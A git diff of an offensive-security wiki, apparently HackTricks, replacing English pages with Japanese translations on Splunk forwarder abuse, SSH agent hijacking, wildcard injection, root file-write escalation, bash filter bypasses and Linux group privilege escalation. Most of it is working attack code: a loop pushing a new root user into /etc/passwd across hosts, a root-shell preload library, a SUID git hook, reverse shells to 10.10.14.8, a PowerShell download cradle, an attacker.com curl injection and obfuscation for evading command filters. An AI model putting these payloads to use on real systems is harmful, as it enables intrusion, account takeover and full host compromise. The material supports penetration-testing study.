**脆弱性の実行:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. 攻撃者がUFエージェントのパスワードを取得します。
2. Splunk APIを利用して、エージェントにコマンドやスクリプトを送信します。
3. 可能なアクションには、ファイル抽出、ユーザーアカウントの操作、システムの侵害が含まれます。
**Impact:**
**影響:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
- 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。
- 検出を回避するためのログの無効化の可能性。
- バックドアやランサムウェアのインストール。
**悪用のためのコマンドの例:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**使用可能な公開エクスプロイト:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## Splunkクエリの悪用
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**詳細については、投稿を確認してください [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}}

24
src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# 概要
`/etc/ssh_config` または `$HOME/.ssh/config` の設定内でこれを発見した場合、何ができますか:
```
ForwardAgent yes
```
もしあなたがマシン内でrootであれば、_ /tmp _ ディレクトリ内で見つけることができる任意のエージェントによって行われた**任意のssh接続にアクセスできる**可能性があります。
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
Bobのssh-agentの1つを使用してBobになりすます:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## なぜこれが機能するのか？
## Why does this work?
`SSH_AUTH_SOCK` 変数を設定すると、ボブの ssh 接続で使用されたキーにアクセスしています。次に、彼の秘密鍵がまだそこにある場合（通常はそうなります）、それを使用して任意のホストにアクセスできるようになります。
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
秘密鍵はエージェントのメモリに暗号化されずに保存されているため、ボブであっても秘密鍵のパスワードを知らない場合、エージェントにアクセスして使用することができると思います。
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
もう一つのオプションは、エージェントの所有者であるユーザーと root がエージェントのメモリにアクセスし、秘密鍵を抽出できる可能性があることです。
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# 詳細な説明と悪用
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**[元の研究はこちらをチェック](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

44
src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
**どのファイルの所有者と権限を残りのファイルにコピーしたいかを指定できます**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
この攻撃を利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(組み合わせ攻撃)_\
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
## Tar
**Execute arbitrary commands:**
**任意のコマンドを実行する:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
## Rsync
**Execute arbitrary commands:**
**任意のコマンドを実行する:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
この攻撃は [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_ を使用して悪用できます。\
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
**7z** では、`--` を `*` の前に使用しても（`--` は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです）、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドが root によって実行されている場合：
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
このコマンドが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます：
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います（それが `@root.txt` の存在が示すことです）そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込みます **そしてこのファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_詳細は HackTheBox の CTF ボックスの Write-ups にあります。_
## Zip
**Execute arbitrary commands:**
**任意のコマンドを実行する:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

26
src/linux-hardening/privilege-escalation/write-to-root.md
View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root
# ルートへの任意のファイル書き込み
{{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
このファイルは**`LD_PRELOAD`**環境変数のように動作しますが、**SUIDバイナリ**でも機能します。\
これを作成または変更できる場合、実行される各バイナリと共に読み込まれる**ライブラリへのパスを追加するだけです**。
例えば: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) は、コミットが作成されるときやマージなど、git リポジトリ内のさまざまな **イベント** で **実行される** **スクリプト** です。したがって、**特権スクリプトまたはユーザー** がこれらのアクションを頻繁に実行し、`.git` フォルダーに **書き込む** ことが可能であれば、これを **privesc** に利用できます。
たとえば、git リポジトリ内の **`.git/hooks`** に **スクリプトを生成** することが可能であり、新しいコミットが作成されるたびに常に実行されます：
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
`/proc/sys/fs/binfmt_misc` にあるファイルは、どのバイナリがどのタイプのファイルを実行すべきかを示します。TODO: 一般的なファイルタイプが開かれたときにリバースシェルを実行するためにこれを悪用する要件を確認してください。
{{#include ../../banners/hacktricks-training.md}}

49
src/linux-hardening/useful-linux-commands/README.md
View File

@ -1,17 +1,9 @@
# Useful Linux Commands
# 有用なLinuxコマンド
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## 一般的なBash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## Windows用Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## 見つける
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Nmap 検索ヘルプ
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
## バッシュ
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

98
src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
View File

@ -1,27 +1,16 @@
# Bypass Linux Restrictions
# Linuxの制限を回避する
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
## 一般的な制限の回避
### リバースシェル
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### ショート Rev シェル
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### パスと禁止語のバイパス
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
### 禁止されたスペースをバイパスする
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### バックスラッシュとスラッシュのバイパス
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
### パイプをバイパスする
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### ヘックスエンコーディングを使用したバイパス
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
### IPをバイパスする
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### 時間ベースのデータ抽出
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### 環境変数から文字を取得する
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNSデータの抽出
### DNS data exfiltration
例えば、**burpcollab**や[**pingb**](http://pingb.in)を使用できます。
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
### ビルトイン
外部関数を実行できず、**RCEを取得するための限られたビルトインのセットにのみアクセスできる**場合、これを行うための便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** 次に、いくつかの**推奨事項**があります：
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### ポリグロットコマンドインジェクション
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### 潜在的な正規表現をバイパスする
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### 5文字でのRCE
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### 4文字でのRCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## 読み取り専用/Noexec/Distroless バイパス
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
**読み取り専用および noexec 保護** のあるファイルシステム内、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Chroot & その他の監獄バイパス
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## 参考文献 & その他
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

20
src/linux-unix/privilege-escalation/exploiting-yum.md
View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
yumに関するさらなる例は[gtfobins](https://gtfobins.github.io/gtfobins/yum/)で見つけることができます。
# Executing arbitrary commands via RPM Packages
# RPMパッケージを介して任意のコマンドを実行する
## Checking the Environment
## 環境の確認
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
このベクターを利用するためには、ユーザーが特権の高いユーザー、つまりrootとしてyumコマンドを実行できる必要があります。
### A working example of this vector
### このベクターの動作例
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
このエクスプロイトの動作例は、[tryhackme](https://tryhackme.com)の[daily bugle](https://tryhackme.com/room/dailybugle)ルームで見つけることができます。
## Packing an RPM
## RPMのパッキング
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
次のセクションでは、[fpm](https://github.com/jordansissel/fpm)を使用してリバースシェルをRPMにパッケージ化する方法を説明します。
以下の例では、攻撃者によって定義できる任意のスクリプトを含むbefore-installトリガーを持つパッケージを作成します。このパッケージがインストールされると、任意のコマンドが実行されます。デモ用にシンプルなリバースnetcatシェルの例を使用しましたが、必要に応じて変更できます。
```text
```
{{#include ../../banners/hacktricks-training.md}}

108
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
# Sudo/Admin グループ
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
## **PE - 方法 1**
**時々**、**デフォルトで（またはいくつかのソフトウェアが必要とするために）** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます：
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,35 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
この場合、**rootになるには、単に次を実行すればよい**:
```text
sudo su
```
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
バイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。次の内容を確認してください:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxでは**sudoやadmin**のグループが**表示される**可能性があるかを見つけることができます。
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
**rootになるには、次のコマンドを実行できます**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
**pkexec**を実行しようとすると、次の**エラー**が表示されます:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策があります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます:
```text
%wheel ALL=(ALL:ALL) ALL
```
これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
この場合、**rootになるには次のように実行するだけです**:
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
**shadow** グループのユーザーは **/etc/shadow** ファイルを **読む** ことができます:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
だから、ファイルを読み、いくつかの**ハッシュをクラッキング**してみてください。
So, read the file and try to **crack some hashes**.
# ディスクグループ
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。
ファイル:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,70 +84,54 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
注意として、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
しかし、**rootが所有するファイル**（例えば`/etc/shadow`や`/etc/passwd`）に書き込もうとすると、"**Permission denied**"エラーが発生します。
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます：
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
**生の画像**を**開く**には、**GIMP**を使用し、**`screen.raw`**ファイルを選択し、ファイルタイプとして**Raw image data**を選択します：
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して（画面をより良く表示するものを選択します）：
![](../../images/image%20%28295%29.png)
# Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
デフォルトでは、**rootグループのメンバー**は、いくつかの**サービス**設定ファイルやいくつかの**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです...
**rootメンバーが変更できるファイルを確認する**：
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Dockerグループ
# Docker Group
You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
